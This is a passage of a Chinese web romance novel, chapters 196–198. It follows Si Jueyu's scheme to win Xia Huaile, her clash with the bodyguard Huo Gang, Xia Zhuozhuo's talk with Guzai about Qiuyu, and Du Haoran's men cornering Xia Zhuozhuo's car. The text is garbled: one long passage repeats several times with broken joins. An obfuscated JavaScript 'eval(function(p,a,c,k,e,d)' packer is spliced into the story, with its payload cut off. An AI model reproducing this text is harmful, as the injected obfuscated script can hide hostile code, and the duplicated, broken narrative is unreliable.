可是仍旧很漂亮,站在夏灼灼身边也没有被彻底掩盖光芒。 但落在司珏羽的眼睛里,这就是一个大饼脸普女。 第196章 他是她的了 司珏羽自认天生条件好,加上后期又做了一些调整,一张脸美得很标准。 她死死盯着她认为的普女,一双眼睛染上了火气。 刚才夏灼灼说,她三哥? 夏怀乐在家排行老三。那岂不就是夏怀乐吗? 夏灼灼要把这个大饼脸介绍给夏怀乐?还觉得夏怀乐一定会喜欢? 都说肥水不流外人田,夏灼灼这是要把自己的朋友介绍给夏怀乐? 司珏羽心里的怒火蹭蹭蹭往上蹿。 她本来还在犹豫,到底要不要冒着被司慎行发现的风险,引夏怀乐入局。 但现在听到夏灼灼的话,她不想再犹豫了! 这个大饼脸,配不上夏怀乐! 只有她,才能跟夏怀乐算得上郎才女貌! 她必须得开始动手了。 一旦夏怀乐入了局,他就是她的了! 她嫁给夏怀乐,那是下嫁!夏家人都得感恩戴德。 她不能再犹豫了。 司珏羽一扭头,又回了电梯。 霍刚看了眼夏灼灼的方向,正好夏灼灼也朝这边看过来。 视线对视,霍刚几不可闻地对着夏灼灼点了下头,随后快步跟着司珏羽进了电梯。 “司小姐,楼上的水管还在修,您怎么又回去了?” 司珏羽下楼的原因,就是她房间里的水管“突然”坏了。 司珏羽烦躁地说:“我不想等了,我要再补个觉。你别跟着我了,去找前台,直接让他们给我换个房间。” “那我们一起去前台。” “这点小事,你也要我亲自去吗?” 她这阵子没有动静的原因,也有很大一部分原因是因为霍刚寸步不离地盯着她。 水管坏了,她正好可以把霍刚支开。 她故意沉着脸说:“这点事都办不好,你就别跟着我了!我不需要你这样的废物照顾我。” 这话一出,霍刚果然“怕”她找借口把他打发走,他没法跟司慎行交代,说了句“那您先上楼等我”,便又走出电梯了。 司珏羽终于得以独自一个人待会儿。 这个霍刚,很是厚脸皮。 以照顾她安全为由,还安排了个女保镖在她房间里,晚上也睡在沙发。 出了门,霍刚又跟上来。 她几乎没有独处的时间。 现在她甩开了霍刚,连忙随便去了个楼层,来到安全通道打了一个电话。 “你现在怎么样?” 电话那头 的人说:“一切顺利,不过夏怀乐不常在公司,我只跟他碰到过一次。” “他对你什么态度?” “他这人蠢得很,我假装道歉了一次,他就说过去的事情他不追究,以后别再仗势欺人就行了。就原谅我了。” 司珏羽顿时沉下脸。 “你说谁蠢呢?” 她可以随意欺负夏怀乐,其他人没有她的授意,却是骂一句都不行。 那头的人不是别人,正是跟夏怀乐起过冲突的许星耀。 他连忙道歉。 “我错了,大小姐。”心里却很嫉妒夏怀乐。 夏怀乐何德何能,让司珏羽这样身份尊贵的人为他费这么多心思? “你找个机会,我们要进行下一步动作了。” 许星耀那边出了个主意。 “下周有个活动……” 司珏羽一听,她前几天正好收到了这个活动的邀请函。 只是当时她还在犹豫要不要动手,所以拒绝了。 现在想来,这活动简直是最好的动手机会了。 司珏羽笑起来,说:“你这个提议很好,我会去参加。” 就在这时,又有一个电话打进来。 是霍刚的号码。 事情说的差不多,司珏羽就挂断了许星耀的电话,接通了霍刚的。 “司小姐,你在哪儿?我在房间门口没找到你。” 司珏羽的眼神有些冰冷。 果然是一直要盯着她,她几分钟不在他的视野里,他就打电话过来了。 “我等你等的无聊,随便逛逛。给我换到几号房了?” “1101。不过这里套房就这一间,您要换的话,就只能换到普通的大床房了。”手机那头的霍刚说。 司珏羽的眼睛亮了一下。 大床房,就意味着那个女保镖不能跟她一起住一间了。 她看似很烦躁地说:“什么破酒店?堂哥该多关注点这些正经事了,一天到晚跟某些女人纠缠在一起,正事也不做。” 某些女人,自然指的是夏灼灼。 司慎行跟夏灼灼走太近了,连她这个被监控的人都听说了。 霍刚那边却突然笑了一声。 “司小姐,您说这些话我会转告少爷,让他听到您的建议。” 司珏羽拿手机的手指一颤。 “我就是随便吐槽几句,不算建议,你不用转达,我也没别的意思。既然只有普通大床房了,那就换吧,我也懒得换到别的酒店去了。 ” “好,我这就安排。” 很快司珏羽就住进了11层。 她找了个自己睡眠不好的理由,拒绝女保镖也住进来。 “她守在门口就行了,我如果遇到了什么危险,她也立刻能听见,用不着住一起。” 又补上一句:“你们是照顾我,又不是监视我,这点小事总能同意吧?” 她料定霍刚不敢直接承认他们就是来监视她的,所以故意说了这句话。 果然,霍刚思索一番后同意了。 司珏羽心里大喜。 有自己的空间,她就能顺利安排接下来的事情了。 只等下周了。 一切安顿好,司珏羽又问霍刚:“夏小姐来湖畔饭店干什么?” “这我就不清楚了。”霍刚没说明。 但司珏羽知道霍刚肯定清楚,就是故意不跟她说。 不过到了晚上,司珏羽很快知道夏灼灼为什么来这一趟了。 夏太太的身体大好,她今天是安排了一个包间给夏太太庆贺的。 司珏羽从进来送牙刷的服务生嘴里知道的这件事,便掐着点,下楼吃饭。 湖畔大饭店的餐厅和自助餐餐厅都在二层。 司珏羽算着时间,路过了夏灼灼包下来的包厢。 包厢被特意布置过。 夏灼灼提前过来,就是为了跟酒店商量包厢布置的事。 不大不小的包厢,被布置得很温馨。 司珏羽路过的时候,就听到里头热热闹闹的在说笑。 包厢门没关,她眼皮一抬,就看到了夏怀乐跟那个大饼脸坐在一起,两个人不知道在说什么凑得很近。 下一秒,夏怀乐很开怀地笑起来,露出一口整齐洁白的牙齿。 大饼脸也在笑,她的脸上染上了一层粉色。 屋子里其他人也在笑,尤其夏太太,好像很喜欢那个大饼脸。 司珏羽死死地攥紧手心,指甲切入肉里都毫无知觉。 夏怀乐……竟然真跟这个大饼脸看对眼了吗? 他眼瞎吗? 放着自己这么个有钱有势的大美女不要,去喜欢这个普普通通的大饼脸? 她不明白,自己到底哪点不如这个大饼脸! 司珏羽几乎都要控制不住自己的怒火,直接冲进去把大饼脸从夏怀乐身边推开了。 还是霍刚的声音突然响起,唤回了她的理智。 “司小姐,你在这儿干什么呢?” “没什么!”司 珏羽怕引起包厢里的人的注意,匆匆离开了,霍刚紧随其后。 夏灼灼在这时候朝门口看去。 只看到两个人的背影。 她看得出来,司珏羽浑身的怒火。 她的唇瓣轻轻弯了下,看向秋雨。 “好了,别跟我哥说我以前的糗事了。” 刚才秋雨跟夏怀乐凑那么近,就是秋雨跟夏怀乐说夏灼灼的糗事。 夏怀乐觉得很有趣,就笑了。 仅此而已。 而夏太太他们看起来很喜欢秋雨,也是因为夏灼灼一开始就跟他们介绍,说秋雨是她的闺蜜。 女儿、妹妹的闺蜜,他们当然爱屋及乌。 夏灼灼拿起杯子,用饮料敬夏太太。 “祝贺妈妈,终于吃完了最后一个疗程的中药。” 夏太太很高兴。 她实在是吃药吃怕了。 更高兴的是,女儿以前不是独身一人,她也是有朋友的。 而且,女儿愿意带自己的朋友见他们了,这是彻底接纳他们这个家了。 一顿晚餐,包厢里每个人都吃得很高兴。 但那个不高兴的人,气得把枕头都给撕烂了。 小**!竟然蛊惑她选中的男人! 等她得到了夏怀乐,她绝不会放过她的! 就在这时,房门被敲响。 司珏羽语气很不好地去开门。 门口站着的,还是霍刚。 “又有什么事?!”司珏羽不胜其烦。 霍刚脸上没有多余的表情,公事公办地说:“司小姐,你上午的话,我已经传达给少爷了。他说,一周之内,您必须得离开沪城。您要是不走,那就永远别想回去了。” 司珏羽豁然瞪大眼睛。 上午她随后一句司慎行不做正经事,霍刚居然就告诉司慎行了。 司慎行还明着威胁她,让她离开?! 她心里止不住的怒火,抬手就要扇霍刚耳光。 但霍刚稳稳抓住了她的手,不卑不亢,眼中还有寒光。 “松手!” 司珏羽被他抓得手腕生疼,要抽回来,但霍刚却不肯放开。 “我说,放、开、我!” 霍刚冷冷望着她。 “司小姐,我的确是个下人。但我不是你的下人,你没资格对我动手。当然,这一巴掌你也可以选择打下去。但我是少爷的人,少爷最护犊,你打我这一耳光,他会帮我还回来。” 说完,他松开了自己的手,还把脸凑过去,给司珏羽打。 司珏羽却不敢了。 她用力做了个深呼吸,说:“滚!” 珏羽怕引起包厢里的人的注意,匆匆离开了,霍刚紧随其后。 夏灼灼在这时候朝门口看去。 只看到两个人的背影。 她看得出来,司珏羽浑身的怒火。 她的唇瓣轻轻弯了下,看向秋雨。 “好了,别跟我哥说我以前的糗事了。” 刚才秋雨跟夏怀乐凑那么近,就是秋雨跟夏怀乐说夏灼灼的糗事。 夏怀乐觉得很有趣,就笑了。 仅此而已。 而夏太太他们看起来很喜欢秋雨,也是因为夏灼灼一开始就跟他们介绍,说秋雨是她的闺蜜。 女儿、妹妹的闺蜜,他们当然爱屋及乌。 夏灼灼拿起杯子,用饮料敬夏太太。 “祝贺妈妈,终于吃完了最后一个疗程的中药。” 夏太太很高兴。 她实在是吃药吃怕了。 更高兴的是,女儿以前不是独身一人,她也是有朋友的。 而且,女儿愿意带自己的朋友见他们了,这是彻底接纳他们这个家了。 一顿晚餐,包厢里每个人都吃得很高兴。 但那个不高兴的人,气得把枕头都给撕烂了。 小**!竟然蛊惑她选中的男人! 等她得到了夏怀乐,她绝不会放过她的! 就在这时,房门被敲响。 司珏羽语气很不好地去开门。 门口站着的,还是霍刚。 “又有什么事?!”司珏羽不胜其烦。 霍刚脸上没有多余的表情,公事公办地说:“司小姐,你上午的话,我已经传达给少爷了。他说,一周之内,您必须得离开沪城。您要是不走,那就永远别想回去了。” 司珏羽豁然瞪大眼睛。 上午她随后一句司慎行不做正经事,霍刚居然就告诉司慎行了。 司慎行还明着威胁她,让她离开?! 她心里止不住的怒火,抬手就要扇霍刚耳光。 但霍刚稳稳抓住了她的手,不卑不亢,眼中还有寒光。 “松手!” 司珏羽被他抓得手腕生疼,要抽回来,但霍刚却不肯放开。 “我说,放、开、我!” 霍刚冷冷望着她。 “司小姐,我的确是个下人。但我不是你的下人,你没资格对我动手。当然,这一巴掌你也可以选择打下去。但我是少爷的人,少爷最护犊,你打我这一耳光,他会帮我还回来。” 说完,他松开了自己的手,还把脸凑过去,给司珏羽打。 司珏羽却不敢了。 她用力做了个深呼吸,说:“滚!” 珏羽怕引起包厢里的人的注意,匆匆离开了,霍刚紧随其后。 夏灼灼在这时候朝门口看去。 只看到两个人的背影。 她看得出来,司珏羽浑身的怒火。 她的唇瓣轻轻弯了下,看向秋雨。 “好了,别跟我哥说我以前的糗事了。” 刚才秋雨跟夏怀乐凑那么近,就是秋雨跟夏怀乐说夏灼灼的糗事。 夏怀乐觉得很有趣,就笑了。 仅此而已。 而夏太太他们看起来很喜欢秋雨,也是因为夏灼灼一开始就跟他们介绍,说秋雨是她的闺蜜。 女儿、妹妹的闺蜜,他们当然爱屋及乌。 夏灼灼拿起杯子,用饮料敬夏太太。 “祝贺妈妈,终于吃完了最后一个疗程的中药。” 夏太太很高兴。 她实在是吃药吃怕了。 更高兴的是,女儿以前不是独身一人,她也是有朋友的。 而且,女儿愿意带自己的朋友见他们了,这是彻底接纳他们这个家了。 一顿晚餐,包厢里每个人都吃得很高兴。 但那个不高兴的人,气得把枕头都给撕烂了。 小**!竟然蛊惑她选中的男人! 等她得到了夏怀乐,她绝不会放过她的! 就在这时,房门被敲响。 司珏羽语气很不好地去开门。 门口站着的,还是霍刚。 “又有什么事?!”司珏羽不胜其烦。 霍刚脸上没有多余的表情,公事公办地说:“司小姐,你上午的话,我已经传达给少爷了。他说,一周之内,您必须得离开沪城。您要是不走,那就永远别想回去了。” 司珏羽豁然瞪大眼睛。 上午她随后一句司慎行不做正经事,霍刚居然就告诉司慎行了。 司慎行还明着威胁她,让她离开?! 她心里止不住的怒火,抬手就要扇霍刚耳光。 但霍刚稳稳抓住了她的手,不卑不亢,眼中还有寒光。 “松手!” 司珏羽被他抓得手腕生疼,要抽回来,但霍刚却不肯放开。 “我说,放、开、我!” 霍刚冷冷望着她。 “司小姐,我的确是个下人。但我不是你的下人,你没资格对我动手。当然,这一巴掌你也可以选择打下去。但我是少爷的人,少爷最护犊,你打我这一耳光,他会帮我还回来。” 说完,他松开了自己的手,还把脸凑过去,给司珏羽打。 司珏羽却不敢了。 她用力做了个深呼吸,说:“滚!” 珏羽怕引起包厢里的人的注意,匆匆离开了,霍刚紧随其后。 夏灼灼在这时候朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霍刚冷冷望着她。 “司小姐,我的确是个下人。但我不是你的下人,你没资格对我动手。当然,这一巴掌你也可以选择打下去。但我是少爷的人,少爷最护犊,你打我这一耳光,他会帮我还回来。” 说完,他松开了自己的手,还把脸凑过去,给司珏羽打。 司珏羽却不敢了。 她用力做了个深呼吸,说:“滚!” 珏羽怕引起包厢里的人的注意,匆匆离开了,霍刚紧随其后。 夏灼灼在这时候朝门口看去。 只看到两个人的背影。 她看得出来,司珏羽浑身的怒火。 她的唇瓣轻轻弯了下,看向秋雨。 “好了,别跟我哥说我以前的糗事了。” 刚才秋雨跟夏怀乐凑那么近,就是秋雨跟夏怀乐说夏灼灼的糗事。 夏怀乐觉得很有趣,就笑了。 仅此而已。 而夏太太他们看起来很喜欢秋雨,也是因为夏灼灼一开始就跟他们介绍,说秋雨是她的闺蜜。 女儿、妹妹的闺蜜,他们当然爱屋及乌。 夏灼灼拿起杯子,用饮料敬夏太太。 “祝贺妈妈,终于吃完了最后一个疗程的中药。” 夏太太很高兴。 她实在是吃药吃怕了。 更高兴的是,女儿以前不是独身一人,她也是有朋友的。 而且,女儿愿意带自己的朋友见他们了,这是彻底接纳他们这个家了。 一顿晚餐,包厢里每个人都吃得很高兴。 但那个不高兴的人,气得把枕头都给撕烂了。 小**!竟然蛊惑她选中的男人! 等她得到了夏怀乐,她绝不会放过她的! 就在这时,房门被敲响。 司珏羽语气很不好地去开门。 门口站着的,还是霍刚。 “又有什么事?!”司珏羽不胜其烦。 霍刚脸上没有多余的表情,公事公办地说:“司小姐,你上午的话,我已经传达给少爷了。他说,一周之内,您必须得离开沪城。您要是不走,那就永远别想回去了。” 司珏羽豁然瞪大眼睛。 上午她随后一句司慎行不做正经事,霍刚居然就告诉司慎行了。 司慎行还明着威胁她,让她离开?! 她心里止不住的怒火,抬手就要扇霍刚耳光。 但霍刚稳稳抓住了她的手,不卑不亢,眼中还有寒光。 “松手!” 司珏羽被他抓得手腕生疼,要抽回来,但霍刚却不肯放开。 “我说,放、开、我!” 霍刚冷冷望着她。 “司小姐,我的确是个下人。但我不是你的下人,你没资格对我动手。当然,这一巴掌你也可以选择打下去。但我是少爷的人,少爷最护犊,你打我这一耳光,他会帮我还回来。” 说完,他松开了自己的手,还把脸凑过去,给司珏羽打。 司珏羽却不敢了。 她用力做了个深呼吸,说:“滚!” 珏羽怕引起包厢里的人的注意,匆匆离开了,霍刚紧随其后。 夏灼灼在这时候朝门口看去。 只看到两个人的背影。 她看得出来,司珏羽浑身的怒火。 她的唇瓣轻轻弯了下,看向秋雨。 “好了,别跟我哥说我以前的糗事了。” 刚才秋雨跟夏怀乐凑那么近,就是秋雨跟夏怀乐说夏灼灼的糗事。 夏怀乐觉得很有趣,就笑了。 仅此而已。 而夏太太他们看起来很喜欢秋雨,也是因为夏灼灼一开始就跟他们介绍,说秋雨是她的闺蜜。 女儿、妹妹的闺蜜,他们当然爱屋及乌。 夏灼灼拿起杯子,用饮料敬夏太太。 “祝贺妈妈,终于吃完了最后一个疗程的中药。” 夏太太很高兴。 她实在是吃药吃怕了。 更高兴的是,女儿以前不是独身一人,她也是有朋友的。 而且,女儿愿意带自己的朋友见他们了,这是彻底接纳他们这个家了。 一顿晚餐,包厢里每个人都吃得很高兴。 但那个不高兴的人,气得把枕头都给撕烂了。 小**!竟然蛊惑她选中的男人! 等她得到了夏怀乐,她绝不会放过她的! 就在这时,房门被敲响。 司珏羽语气很不好地去开门。 门口站着的,还是霍刚。 “又有什么事?!”司珏羽不胜其烦。 霍刚脸上没有多余的表情,公事公办地说:“司小姐,你上午的话,我已经传达给少爷了。他说,一周之内,您必须得离开沪城。您要是不走,那就永远别想回去了。” 司珏羽豁然瞪大眼睛。 上午她随后一句司慎行不做正经事,霍刚居然就告诉司慎行了。 司慎行还明着威胁她,让她离开?! 她心里止不住的怒火,抬手就要扇霍刚耳光。 但霍刚稳稳抓住了她的手,不卑不亢,眼中还有寒光。 “松手!” 司珏羽被他抓得手腕生疼,要抽回来,但霍刚却不肯放开。 “我说,放、开、我!” 霍刚冷冷望着她。 “司小姐,我的确是个下人。但我不是你的下人,你没资格对我动手。当然,这一巴掌你也可以选择打下去。但我是少爷的人,少爷最护犊,你打我这一耳光,他会帮我还回来。” 说完,他松开了自己的手,还把脸凑过去,给司珏羽打。 司珏羽却不敢了。 她用力做了个深呼吸,说:“滚!” 第197章 拆散他们 面对司珏羽的怒吼,霍刚却是扯出了一个笑容。 “我会滚。这一周我不会再跟着你,少爷那边很忙,需要我回去帮忙。但一周后您还不走,我就会再过来找你。到时候,你可别怪我不懂怜香惜玉了。” 说完,霍刚转身就走了。 司珏羽又气又没有办法,只是死死盯着霍刚的背影。 一个下人,敢对她这个“主子”说这种话? 司珏羽总是把身份不如她的人,不当成人。 她作为家里的独女,养尊处优惯了,从来没学过“平视”其他人。 霍刚的言行,把她狠狠激怒了。 可下一秒,司珏羽的怒气就散了。 一周时间,她刚好够参加那个活动。 司珏羽笑了。 她虽然受了气,但是霍刚走了,再没人会监视她,她可以很自由地安排自己的计划了。 这是好事! 司珏羽一点都不生气了,还很庆幸。 换成平时,霍刚突然来这么一下就走,她可能会觉得奇怪,会更小心行事。 甚至有可能会放弃计划,免得自己落入别人的圈套。 可是今天被夏灼灼和那个大饼脸刺激了两次,她的理智就被冲散了。 只剩下对计划的决心。 而另一边,霍刚在离开之后,就给夏灼灼打了电话。 “夏小姐,已经按照您的吩咐,把明面上监视她的人都撤走了。” “谢谢你。” “应该的,少爷让我一切听您的安排。” “嗯,那就暗中继续监视她,不要被她察觉。” “是。” 夏灼灼挂断电话,看了眼副驾驶正在卸妆的秋雨,疑惑地问:“怎么不回去再卸妆?” 秋雨眼神闪烁了一下,支支吾吾道:“化了妆觉得脸上黏糊糊的,早点卸掉早点清爽。” 脑子里想的却是,谷仔说她化了妆不如不化妆好看。 可能她疯了吧。 谷仔随口一句话,她就记到现在。 秋雨没说实话,夏灼灼却猜到了几分。 那个咋咋呼呼的小姑娘长大了,有自己的秘密了。 夏灼灼不生气,反而很为她开心。 只是她想事情比较长远一点。 秋雨的爷爷是个很好的人,只是她爸爸却是个势利眼。 他未必会接受谷仔。 只能从秋雨的爷爷身上找办法。 但很快,夏灼灼就想到了一个能让秋雨爷爷喜欢谷仔的好主意。 她把秋雨送回暗部后,自己没有直接回去,而是单独找谷仔聊了聊。 “你对小雨,什么想法?”夏灼灼对自己人说话向来直接。 谷仔的脸一下子就红了。 平时有什么说什么的人,这会儿支支吾吾,像个小媳妇。 夏灼灼无奈摇头:“谷仔,喜欢就是喜欢,不喜欢就是不喜欢。你给我两个字,或者三个字,其他的,我帮你想办法。” 谷仔脸上的热度退下来。 他垂下头,很郑重地说:“喜欢。” 夏灼灼挑了下眉,并无意外,只是问:“什么时候的事?” “秋雨刚来暗部的第一年,那次我出去做任务回来,手臂受了伤……” 夏灼灼记得这事。 是古武堂来找麻烦,谷仔为了保全暗部的其他人,跟古武堂的人搏斗。 最后伤了左手,断了两根筋。 后来夏灼灼帮他接回去了,只是好了之后,左手还是没以前灵活。 好在只是左手,不影响日常生活。 “您帮我接好筋之后,是她一直在照顾我。” 谷仔看了眼窗外,说:“她哭着问我疼不疼,看到她的眼泪,我的心跳突然就变快了。我就知道,我对她……” 夏灼灼有些出神。 因为也有个人,问她“疼不疼”。 是司慎行。 她提起以前自己被江泽的狗咬了,司慎行问她,当时疼不疼。 她的心猝不及防被击中,柔软一片。 “我懂你的心情。”夏灼灼说。 谷仔有些错愕。 “您能懂?” “嗯……” 谷仔突然想起秋雨对他说的话。 他很意外地看了夏灼灼一眼,问:“老大,你有喜欢的人了?” 夏灼灼愣了下,没想到谷仔竟然突然问起这个。 她干咳了一声,说:“我们现在聊的是你的事情,别岔开话题。” 然而事实是,岔开话题的人是她自己。 谷仔果然说回到了秋雨的事情。 “我是喜欢她,但是我也知道自己配不上她。” “我是个孤儿,无父无母,唯一的哥哥也死了。” “她不一样,她是秋家的大小姐,刚出生,家里就在她名下记了家里的股份,每个月起码能进账几百万,衣食无忧。” “我要是跟她在一起,那是拖累她。” “她现在还不知道我对她的心思,也请您当做不知道吧。” 夏灼灼眉头皱紧。 “谷仔。” 谷仔不明所以地看向她。 只听夏灼灼说:“秋雨的确很优秀,可是你不能只以金钱衡量一个人是否配得上另一个人。如果真的要以金钱衡量……别忘了,你跟着我,从白手起家到现在,每个月别说进账几百万了,零头都比几百万多。你也很优秀。” “可是……我这个工作……甚至都没法见光。” “我们这个工作怎么了?我们用自己的本事赚钱,虽然有些灰色产业,但是企业做大了,谁家没有点灰色产业?而且那些灰色产业,从我们搬到沪城之后,就已经全部处理掉了。” “可官方还是不承认咱们。” “会承认的。”夏灼灼说:“而且,这一天不会让我们等太久。” 她相信,只要党帅赢了,他会承认暗部的。 谷仔有些动摇。 夏灼灼耐心说:“你不要直接放弃,勇敢一点。再大的困难,事在人为,总能解决的。” 谷仔突然攥紧手心。 他深吸了一口气说:“谢谢老大,我知道该怎么做了!我不能自怨自艾,我会去争取。除非秋雨不喜欢我,否则我不会放弃。” 夏灼灼笑了。 就在这时,房门被敲响。 “进来。”夏灼灼开口。 秋雨推门进来,手里端着一个托盘。 “老大,你们聊完正事没有?我做了肉丝羹,你们吃点儿?” 夏灼灼点头,招呼秋雨进来一起吃。 “好。” 秋雨把碗里的羹分出来。 夏灼灼眼尖地瞥见谷仔那一碗没有葱。 谷仔不爱吃葱。 她弯了下唇,眼底有淡淡的笑意。 谷仔自己却没注意到,只一味说秋雨的厨艺好,很好吃。 三碗羹吃完。 夏灼灼突然开口:“谷仔,我过阵子有个事情要你做,你这段时间跟着秋雨和我学习厨艺。” 谷仔微讶。 “厨艺?我只会煮泡面。” “学了就会了,有我们两个人当你师父,你还学不会?” 谷仔点头:“您说什么是什么。” 夏灼灼又问了一会儿暗部的人最近的安排,这才走了。 回去的路上,她开着车窗,风呼呼往里灌,吹得她比平时更清醒。 她今天劝谷仔的那些话,好像放在她自己身上也适用。 或许她对司慎行也应该勇敢一点。 他值得她再勇敢一次。 如果这次也看错了人,那就算她倒霉,她以后再不会打开自己的心扉。 但不能像谷仔这样,没开始之前就对自己的命认输。 夏灼灼握紧方向盘,心里已经下定了决心。 而另一边。 枫林晚。 司慎行又接到了电话。 那天他跟夏灼灼一前一后接到电话。 夏灼灼收到的是个好消息——窦家的搅屎棍要被放出来。 可他接到的是个坏消息。 是司董事长打过来的电话。 他当时只说了:“离夏家的那个女儿远点,计划有变。” 他那个时候心里掀起万丈波澜,面上只是皱了一下眉。 他不想让夏灼灼看出来什么。 所以那个时候夏灼灼问他,他只是含糊带过。 现在,司董事长又打电话过来了。 这次是个视频电话。 司慎行看着手机那头的司董事长,眼神有些冷。 “什么事?” “还是上次的事。跟夏家的婚约,不能继续了,你可以开始疏远她,不用照我说的继续跟他们家打交道了。” ——司董事长早知道司慎行跟夏灼灼走得很近。 只是他一直以为,司慎行是按照自己的吩咐才接近她的。 他不知道,司慎行的心,已经属于夏灼灼了。 司慎行的喉头上下滚动了下,只说了两个字:“原因。” “你不用知道太多,按照我说的做就是了。” 司慎行深深看他一眼,没有忤逆他,只说:“突然疏远会很奇怪,我慢慢来。” “也行,不着急。” 司董事长挂了电话。 却不知道,司慎行这是权宜之计。 贸然直接忤逆他,说不定会对夏灼灼不利。 他这个爸,比他还要狠。 还不如用缓兵之计先稳定他,不让他怀疑,再暗中调查原因。 “阿麦!”司慎行喊人。 阿麦很快从外面进到书房。 “少爷,什么吩咐?” “查一查,我爸最近都跟什么人接触,通话记录也要查,越仔细越好。” 阿麦吃了一惊。 少爷竟然要查董事长? 可他很快回神。 “是,少爷!” 正要离开,司慎行突然问:“你觉得,我跟灼灼般配吗?” 阿麦又愣了一下。 但他很快笑着说:“般配,简直就是天造地设的一对,金童玉女,说的就是你们。” 司慎行也笑了一下。 略显凉薄的唇瓣勾起了一抹属于人的温度。 是啊,他跟夏灼灼很般配,没有人比他们更般配了。 所以无论是谁,他都不允许对方拆散他们。 第198章 逼到蛇山 司慎行这边黑云密布,夏灼灼却是难得心情轻快。 她甚至想,要不要开车去枫林晚,跟司慎行说,自己愿意跟他试一试? 但这个想法还是打住了。 她骨子里是个传统的女人,做不出这种大半夜去男人家里的事。 那就等自己计划的两件事都结束之后再跟他坦明心迹好了。 他们的日子长得很,不急于这一时。 夏灼灼激荡的心慢慢宁静下来,仍然稳稳地把车子往家开。 到了家,小狗“将军”摇着尾巴热烈欢迎她。 夏灼灼现在已经完全不怕狗了。 至少不怕将军了。 将军在江泽的事情立了大功,夏灼灼喂了很多生牛肉给它,小狗跟她很快就变得更熟悉了。 夏灼灼想到,她当时给江泽做人皮面具,特意在面具上喷了一点东西。 那东西将军很喜欢,会联想到肉,所以它一口下去,把江泽的人皮面具扯下来,彻底激怒了江泽。 夏灼灼揉揉狗头,上楼睡觉了。 …… 转眼又过去几天,杜馨月距离手术已经十天了。 她的伤好得差不多。 但医生建议她继续再住院一周,可杜馨月非要出院。 医生只好打电话给夏灼灼。 “在医院里快闷死我了!那个饭菜,你是不知道,简直一点油都不放!我家狗吃的狗粮都比这油。” 夏灼灼来看杜馨月的时候,杜馨月就不停地开始跟她抱怨,坚持要出院。 夏灼灼作为她的主刀医生,替她看了伤口。 伤口做的美容线,不需要拆线,人体自己会吸收。 她见手术切口表面基本闭合,而且已经不需要用药,便同意让她出院。 她叮嘱道:“伤口看起来愈合了,但是里面的肌肉层还没完全恢复强度,你回去之后还得静养,不能剧烈运动,不然伤口又会严重的。” 杜馨月苦恼地问:“什么时候能好全?” “还要两周才能彻底好。” “那就是半个月?那我还来得及。” “来得及什么?”夏灼灼问。 “金勺子比赛啊!换个名字就是我们沪城的名媛比赛。你要参加吗?” 夏灼灼摇头又点头:“我不参加,但是我会去现场。” “去给我加油吗?” “也可以这么说。” 杜馨月叽叽喳喳,精神状况已经彻底恢复。 她还说:“等我好了,你陪我一起去精神病院看江泽。我很想亲眼看看他现在的样子。” 夏灼灼答应了。 “好。” 送完杜馨月,天色已经暗下来。 夏灼灼慢慢开车回家。 每次回家,她的心情都很好。 以前没家的时候,她忙到再晚都无所谓,因为知道自己没家,没有人会等她。 现在不一样了,妈妈会等她,几个哥哥如果在家,也会等她。 现在还多了一条小狗等她。 所以每次她忙到很晚的时候,就会开始想家。 车子开过一个拐角,却在这个时候,后面的车子打开了大灯,闪了她的车几下。 夏灼灼觉得刺眼。 这条路很窄,她以为对方要超车,便放慢车速,往右侧开了一点。 可那辆车却没趁机超车,而是用车灯继续闪她。 夏灼灼心里警惕心顿起。 她拨通了谷仔的电话,说了一句“有车跟着我,查我的定位”。 谷仔一愣,立刻应“是”。 夏灼灼这才挂断电话,加快了车速。 可后面那辆车跟的很紧,她一下子甩不脱。 但脑子里已经规划好了路线。 前面有条路很难开,她有把握把人甩开。 这么想着,车子就不再往夏家去,而是开上了另一条路。 然而过了一个路口,迎面却开来两辆车,直接停在她前面。 夏灼灼忙急踩刹车,但车子还是撞了上去。 好在只是撞破了车灯,车内气囊都没撞出来。 只是前路被堵住,后面又有车堵她,她走不了了。 走不了,索性就不走了。 夏灼灼面无表情,安静坐在车上。 很快后面追她的那辆车上下来一个男人。 长得斯斯文文,手臂却有一大片纹身。 他用那只带有纹身的手,敲了敲车窗。 夏灼灼没傻乎乎开车窗,只是望着他的脸。 她好像见过这个人。 “夏小姐,吓到你了吧?” 对方见她不肯开车窗也不气恼,笑了笑,抬高音量隔着车窗说:“实在不好意思,您不停车,我只能用这种方法逼停您。您放心,车子一会儿我们帮您开去修,只是需要您跟我去个地方。” 夏灼灼突然想起来这个人是谁了。 她去杜公馆给云老先生治病的时候,杜公馆门口就站着这个人。 她拉下车窗,开门见山地说:“杜浩然要让我去哪儿?杜正国和杜老先生知道这事儿吗?” 花臂男人的表情凝在脸上。 他记得自己只远远跟夏灼灼碰过一次,她竟然就记住他了。 原本不说自己的身份,他占据上风,现在夏灼灼什么都知道,他就不占据上风了。 男人轻咳一声,掩下眼底的懊丧,说:“既然您认出我了,那我就直说了。我们少爷今天会参加一个赛车比赛,想邀请您一起去观看。还请您千万赏……(脸)” “脸”字还没说出口,夏灼灼率先回答:“可以,那就走吧。不过我要开我自己的车。” “可是您的车已经坏了。” “只坏了一盏车灯,还能开。” “可……” “怎么?你们几个大男人,还怕我一个小姑娘跑了?” 男人仔细想了想,他能堵夏灼灼一次,就能堵她第二次,不怕她跑。 想到这,男人答应了。 “那您跟着前面的车,我跟在您的车后面。” “可以。” 夏灼灼重新拉上车窗。 男人对着前面的人打了个手势。 前面堵着的两辆车很快就开动了车子。 夏灼灼慢慢跟在后面。 她一只手抓方向盘,另一只手给杜馨月发了条信息。 做完这些,她继续开着车。 前后的车子,一开始还紧绷着,后面见夏灼灼丝毫没有逃走的意思,便放松下来。 男人给杜浩然打了个电话,表示他们大概要一个多小时才到。 几辆车一路往郊区的方向开,很快到了沪城和江城的交界处。 这是一座盘山公路,被人围起来,专门用来跑山。 “跑山”在车友圈里,是指驾驶摩托车或者跑车在山路上行驶。 刺激但危险。 沿路都插着很多旗子,上面是各个跑车俱乐部的广告。 车子一路开到山顶。 山顶停了很多跑车,各个牌子、各种颜色,仿佛这里不是山顶,而是某个大型车展。 夏灼灼刚一下车,杜浩然就领着一帮纨绔过来了。 杜浩然怀里还搂着一个身材火辣的女孩。 女孩耳朵上带了很多耳钉,看她的眼神不算友善。 “我还以为你不会来。”杜浩然松开了怀里的女孩,对夏灼灼说。 